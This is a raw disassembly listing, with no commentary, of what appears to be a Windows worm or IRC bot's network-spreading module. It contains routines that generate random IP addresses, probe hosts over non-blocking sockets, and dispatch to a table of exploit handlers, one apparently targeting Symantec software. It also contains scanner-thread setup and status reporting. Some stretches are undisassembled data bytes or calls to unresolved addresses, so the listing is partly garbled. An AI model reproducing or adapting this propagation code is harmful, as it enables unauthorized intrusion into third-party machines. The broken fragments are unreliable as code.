		call	sub_4151AD
		add	esp, 30h
		pop	esi
		leave
		retn
sub_40B71A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B786	proc near		; CODE XREF: sub_401ACD+2ACAp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	dword_4CB394
		call	sub_41A88C
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	dword_4CE3A4
		push	offset unk_431F04
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AD
		add	esp, 28h
		leave
		retn
sub_40B786	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B7DB	proc near		; CODE XREF: sub_401ACD+2AB4p

var_1000	= byte ptr -1000h
var_800		= byte ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41BB20
		push	edi
		lea	eax, [ebp+var_800]
		push	offset dword_431F50
		push	eax
		call	sub_41B886
		cmp	dword_431B00, 0
		pop	ecx
		pop	ecx
		mov	edi, 800h
		jz	short loc_40B847
		push	esi
		mov	esi, offset aSymantec ;	"Symantec"


loc_40B810:				; CODE XREF: sub_40B7DB+69j
		lea	eax, [esi-0Ah]
		push	eax
		push	esi
		lea	eax, [ebp+var_1000]
		push	offset dword_431F40
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C1E0
		add	esi, 40h
		add	esp, 1Ch
		cmp	dword ptr [esi+1Eh], 0
		jnz	short loc_40B810
		pop	esi


loc_40B847:				; CODE XREF: sub_40B7DB+2Dj
		push	dword_4CB394
		call	sub_41A88C
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1000]
		push	offset aScanTimeS_ ; " Scan Time: %s."
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C1E0
		push	0
		lea	eax, [ebp+var_800]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_4151AD
		add	esp, 30h
		pop	edi
		leave
		retn
sub_40B7DB	endp

; ---------------------------------------------------------------------------
word_40B8A2	dw 8B55h		; DATA XREF: sub_401ACD+30E1o
		dd 0F0EC81ECh, 8B000003h, 56530845h, 8B4B6A57h,	0BD8D59F0h
		dd 0FFFFFECCh, 80C7A5F3h, 128h,	1, 0FECC858Dh, 0FF50FFFFh
		dd 4CB69415h, 89FF3300h, 3D39F845h, 431B00h, 89FC7D89h
		dd 840F087Dh, 118h, 431B00BBh
		db 0, 8Bh, 0C3h
; ---------------------------------------------------------------------------


loc_40B8F3:				; CODE XREF: ___:0040B9FEj
		push	dword ptr [ebp-1Ch]
		push	dword ptr [eax]
		push	dword ptr [ebp-8]
		call	sub_40C088
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_40B9F4
		push	dword ptr [ebx]
		lea	esi, [ebx-28h]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [esi+0Ah]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_431FA0
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409A73
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_4151AD
		add	esp, 2Ch
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-1ECh]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp-15Ch]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		cmp	byte ptr [ebp-0A4h], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp-0A4h]
		jnz	short loc_40B98F
		lea	eax, [ebp-124h]


loc_40B98F:				; CODE XREF: ___:0040B987j
		push	eax
		lea	eax, [ebp-1DCh]
		push	eax
		call	sub_41B886
		mov	eax, [ebp-24h]
		pop	ecx
		mov	[ebp-1F0h], eax
		mov	eax, [ebp-14h]
		mov	[ebp-140h], eax
		mov	eax, [ebp-10h]
		pop	ecx
		mov	[ebp-13Ch], eax
		mov	eax, [ebx]
		sub	esp, 0BCh
		mov	[ebp-150h], eax
		mov	eax, [ebp-18h]
		push	2Fh
		mov	[ebp-14Ch], eax
		mov	eax, [ebp+8]
		pop	ecx
		lea	esi, [ebp-1F0h]
		mov	edi, esp
		mov	[ebp-148h], eax
		rep movsd
		call	dword ptr [ebx+4]
		add	esp, 0BCh
		inc	dword ptr [ebp-4]
		xor	edi, edi


loc_40B9F4:				; CODE XREF: ___:0040B906j
		inc	dword ptr [ebp+8]
		add	ebx, 40h
		mov	eax, ebx
		cmp	[ebx], edi
		jnz	loc_40B8F3
		push	dword ptr [ebp-4]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_431F6C
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409A73
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_4151AD
		push	dword ptr [ebp-18h]
		call	sub_40B413
		add	esp, 2Ch
		push	edi
; ---------------------------------------------------------------------------
		db 0E8h, 0AAh, 45h
		db 2Dh,	2, 90h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA57	proc near		; CODE XREF: sub_401ACD+244Fp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	0Bh
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jle	short loc_40BA93
		mov	eax, [ebp+arg_C]
		push	dword_4CB7A0[eax*8]
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_431FF0
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_40BAA6
; ---------------------------------------------------------------------------


loc_40BA93:				; CODE XREF: sub_40BA57+13j
		lea	eax, [ebp+var_200]
		push	offset unk_431FD0
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_40BAA6:				; CODE XREF: sub_40BA57+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AD
		add	esp, 18h
		leave
		retn
sub_40BA57	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BACE	proc near		; CODE XREF: sub_40C125+267p

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_40BFA0
		shl	eax, 6
		xor	ebx, ebx
		cmp	dword_431B0C[eax], ebx
		jz	loc_40BFA0
		push	5
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jnz	loc_40BD55
		mov	eax, dword_429078
		push	edi
		mov	esi, offset dword_4CD85C
		push	104h
		push	esi
		push	ebx
		mov	dword_4CDA6C, eax
		mov	dword_4CDA68, ebx
		nop
		call	near ptr 2670000h
		mov	edi, offset byte_42910C
		push	103h
		push	edi
		push	offset dword_4CD960
		call	sub_41B5F0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CD858, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_4CDAF0, eax
		jnz	short loc_40BB81
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CDA70
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CDAF4, 1
		jmp	short loc_40BB9B
; ---------------------------------------------------------------------------


loc_40BB81:				; CODE XREF: sub_40BACE+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CDA70
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CDAF4, ebx


loc_40BB9B:				; CODE XREF: sub_40BACE+B1j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CDA6C
		push	offset unk_42C558
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	dword_4CDA64, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD858
		push	offset byte_411797
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, dword_4CDA64
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40BC09


loc_40BBF7:				; CODE XREF: sub_40BACE+139j
		cmp	dword_4CDAF8, ebx
		jnz	short loc_40BC24
		push	32h
		call	near ptr 2670EC7h
		nop
		jmp	short loc_40BBF7
; ---------------------------------------------------------------------------


loc_40BC09:				; CODE XREF: sub_40BACE+127j
		nop
		call	near ptr 2680932h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_432110
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BC24:				; CODE XREF: sub_40BACE+12Fj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AD
		mov	eax, dword_4CB390
		mov	esi, offset dword_4CDB04
		mov	[esp+210h+var_210], 104h
		push	esi
		push	ebx
		mov	dword_4CDD14, eax
		mov	dword_4CDD10, ebx
		nop
		call	near ptr 2670000h
		push	103h
		push	edi
		push	offset dword_4CDC08
		call	sub_41B5F0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CDB00, eax
		mov	eax, [ebp+arg_138]
		pop	edi
		mov	dword_4CDD98, eax
		push	7Fh
		jnz	short loc_40BCA5
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CDD18
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CDD9C, 1
		jmp	short loc_40BCBF
; ---------------------------------------------------------------------------


loc_40BCA5:				; CODE XREF: sub_40BACE+1B8j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CDD18
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CDD9C, ebx


loc_40BCBF:				; CODE XREF: sub_40BACE+1D5j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CDD14
		push	offset unk_4320DC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	dword_4CDD0C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CDB00
		push	offset word_40E992
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, dword_4CDD0C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40BD2D


loc_40BD1B:				; CODE XREF: sub_40BACE+25Dj
		cmp	dword_4CDDA0, ebx
		jnz	short loc_40BD48
		push	32h
		nop
		call	near ptr 2670EC7h
		jmp	short loc_40BD1B
; ---------------------------------------------------------------------------


loc_40BD2D:				; CODE XREF: sub_40BACE+24Bj
		call	near ptr 2680932h
		nop
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_4320A8
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BD48:				; CODE XREF: sub_40BACE+253j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_40BD55:				; CODE XREF: sub_40BACE+35j
		mov	eax, [ebp+arg_130]
		mov	ecx, eax
		shl	ecx, 6
		cmp	dword_431B14[ecx], ebx
		jz	loc_40BE7E
		push	7
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jnz	loc_40BE78
		mov	eax, dword_4CE39C
		cmp	[ebp+arg_90], bl
		mov	dword_4CD7C4, eax
		mov	eax, [ebp+arg_110]
		mov	dword_4CD7B8, eax
		mov	eax, [ebp+arg_138]
		mov	dword_4CD7C0, ebx
		mov	dword_4CD848, eax
		push	7Fh
		jnz	short loc_40BDC9
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD7C8
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD84C, 1
		jmp	short loc_40BDE3
; ---------------------------------------------------------------------------


loc_40BDC9:				; CODE XREF: sub_40BACE+2DCj
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CD7C8
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD84C, ebx


loc_40BDE3:				; CODE XREF: sub_40BACE+2F9j
		push	dword_4CD7C4
		lea	eax, [ebp+var_204]
		push	offset unk_432078
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	7
		push	eax
		call	sub_40B0F7
		add	esp, 18h
		mov	dword_4CD7BC, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD7B8
		push	offset dword_40E6F0
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, dword_4CD7BC
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40BE50


loc_40BE3E:				; CODE XREF: sub_40BACE+380j
		cmp	dword_4CD850, ebx
		jnz	short loc_40BE6B
		push	32h
		call	near ptr 2670EC7h
		nop
		jmp	short loc_40BE3E
; ---------------------------------------------------------------------------


loc_40BE50:				; CODE XREF: sub_40BACE+36Ej
		nop
		call	near ptr 2680932h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_432040
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BE6B:				; CODE XREF: sub_40BACE+376j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_40BE78:				; CODE XREF: sub_40BACE+2A8j
		mov	eax, [ebp+arg_130]


loc_40BE7E:				; CODE XREF: sub_40BACE+298j
		shl	eax, 6
		cmp	dword_431B10[eax], ebx
		jz	loc_40BFA0
		push	3
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jnz	loc_40BFA0
		mov	esi, offset dword_4CE034
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 2670000h
		push	5Ch
		push	esi
		call	sub_41BE40
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40BEBF
		mov	[eax], bl


loc_40BEBF:				; CODE XREF: sub_40BACE+3EDj
		mov	eax, dword_42907C
		mov	dword_4CE14C, ebx
		mov	dword_4CE138, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CDDAC
		call	sub_41B886
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_4CDDA8, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_4CE138
		mov	dword_4CE144, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_4CE148, ecx
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42C4E0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	dword_4CE140, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CDDA8
		push	offset sub_40F0D6
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, dword_4CE140
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40BF78


loc_40BF66:				; CODE XREF: sub_40BACE+4A8j
		cmp	dword_4CE154, ebx
		jnz	short loc_40BF93
		push	32h
		nop
		call	near ptr 2670EC7h
		jmp	short loc_40BF66
; ---------------------------------------------------------------------------


loc_40BF78:				; CODE XREF: sub_40BACE+496j
		nop
		call	near ptr 2680932h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_43200C
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BF93:				; CODE XREF: sub_40BACE+49Ej
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_40BFA0:				; CODE XREF: sub_40BACE+14j
					; sub_40BACE+25j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_40BACE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFA4	proc near		; CODE XREF: sub_40C125:loc_40C196p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:4CB7A0h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4CB57C
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4CB650
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_41C310
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40BFA4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFEC	proc near		; CODE XREF: sub_40C125+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_41AFE0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40C014
		xor	eax, eax
		jmp	short loc_40C085
; ---------------------------------------------------------------------------


loc_40C014:				; CODE XREF: sub_40BFEC+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_41C645
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_40C041
		call	sub_41B8E2
		mov	[ebp+var_C], eax


loc_40C041:				; CODE XREF: sub_40BFEC+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_40C04E
		call	sub_41B8E2
		mov	[ebp+var_8], eax


loc_40C04E:				; CODE XREF: sub_40BFEC+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40C05B
		call	sub_41B8E2
		mov	[ebp+var_4], eax


loc_40C05B:				; CODE XREF: sub_40BFEC+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_40C067
		call	sub_41B8E2


loc_40C067:				; CODE XREF: sub_40BFEC+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4CB7A0[ecx*8], eax


loc_40C085:				; CODE XREF: sub_40BFEC+26j
		pop	esi
		leave
		retn
sub_40BFEC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C088	proc near		; CODE XREF: ___:0040B8FBp
					; sub_40C125+BBp

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_4CB6D4
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C0B1
		xor	eax, eax
		jmp	short loc_40C120
; ---------------------------------------------------------------------------


loc_40C0B1:				; CODE XREF: sub_40C088+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_4CB654
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CB6F0
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_4CB5FC
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_4CB63C
		push	esi
		mov	edi, eax
		call	dword_4CB6EC
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_40C120:				; CODE XREF: sub_40C088+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C088	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C125	proc near		; DATA XREF: sub_40C125+353o

var_29C		= dword	ptr -29Ch
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_1CC		= byte ptr -1CCh
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_14C		= byte ptr -14Ch
var_140		= byte ptr -140h
var_13C		= byte ptr -13Ch
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		nop
		call	near ptr 269095Dh
		push	eax
		call	sub_41B8D8
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h


loc_40C16C:				; CODE XREF: sub_40C125+204j
		mov	eax, dword_43E594[ebx]
		cmp	dword_4CB7A4[eax*8], 0
		jz	loc_40C32E
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_40C196
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40BFEC
		pop	ecx
		jmp	short loc_40C19B
; ---------------------------------------------------------------------------


loc_40C196:				; CODE XREF: sub_40C125+60j
		call	sub_40BFA4


loc_40C19B:				; CODE XREF: sub_40C125+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_43E594[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_43216C
		push	eax
		call	sub_41B886
		add	esp, 18h
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_43E390[ebx]
		push	eax
		call	sub_41B886
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_40C088
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_40C31E
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_40C272
		push	offset dword_4CD7A0
		call	near ptr 77F7E21Fh
		nop
		push	[ebp+var_3C]
		push	edi
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_432144
		push	eax
		call	sub_41B886
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40C254
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C248
		lea	eax, [ebp+var_140]


loc_40C248:				; CODE XREF: sub_40C125+11Bj
		push	eax
		push	[ebp+var_40]
		call	sub_409A73
		add	esp, 14h


loc_40C254:				; CODE XREF: sub_40C125+100j
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4151AD
		mov	[esp+29Ch+var_29C], offset dword_4CD7A0
		call	near ptr 77F7E300h
		nop
		jmp	loc_40C31E
; ---------------------------------------------------------------------------


loc_40C272:				; CODE XREF: sub_40C125+D0j
		push	edi
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_41B886
		mov	eax, [ebp+var_20]
		pop	ecx
		shl	eax, 6
		pop	ecx
		add	eax, offset aSym ; "sym"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_41B886
		cmp	[ebp+var_C0], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C2B7
		lea	eax, [ebp+var_140]


loc_40C2B7:				; CODE XREF: sub_40C125+18Aj
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_41B886
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		pop	ecx
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		sub	esp, 0BCh
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		push	2Fh
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_168], esi
		mov	[ebp+var_164], eax
		lea	esi, [ebp+var_20C]
		mov	edi, esp
		shl	eax, 6
		rep movsd
		call	off_431B04[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_40C31E:				; CODE XREF: sub_40C125+C6j
					; sub_40C125+148j
		push	7D0h
		nop
		call	near ptr 2670EC7h
		jmp	loc_40C16C
; ---------------------------------------------------------------------------


loc_40C32E:				; CODE XREF: sub_40C125+55j
		push	esi
		call	sub_40B413
		pop	ecx
		push	0
		nop
		call	near ptr 26E0000h


loc_40C33D:				; DATA XREF: sub_401ACD+1F82o
					; sub_401ACD+5C49o
		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_4CB694
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_4CB7A0[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40BACE
		push	0Bh
		call	sub_40B33F
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_40C40B
		mov	esi, offset dword_4CD7A0
		push	esi
		nop
		call	near ptr 26E06AAh
		push	80000400h
		push	esi
		nop
		call	near ptr 26E0510h
		test	eax, eax
		jnz	short loc_40C40B
		lea	eax, [ebp+var_1CC]
		push	offset unk_432250
		push	eax
		call	sub_41B886
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_40C3F5
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409A73
		add	esp, 14h


loc_40C3F5:				; CODE XREF: sub_40C125+2B1j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AD
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40C40B:				; CODE XREF: sub_40C125+27Bj
					; sub_40C125+297j
		mov	eax, [ebp+var_2C]
		mov	esi, dword_427078
		mov	edi, ebx
		mov	dword_4CB7A4[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_40C4D8


loc_40C429:				; CODE XREF: sub_40C125+3ADj
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_43221C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	0Bh
		push	eax
		call	sub_40B0F7
		mov	[ebp+var_28], eax
		imul	eax, 234h
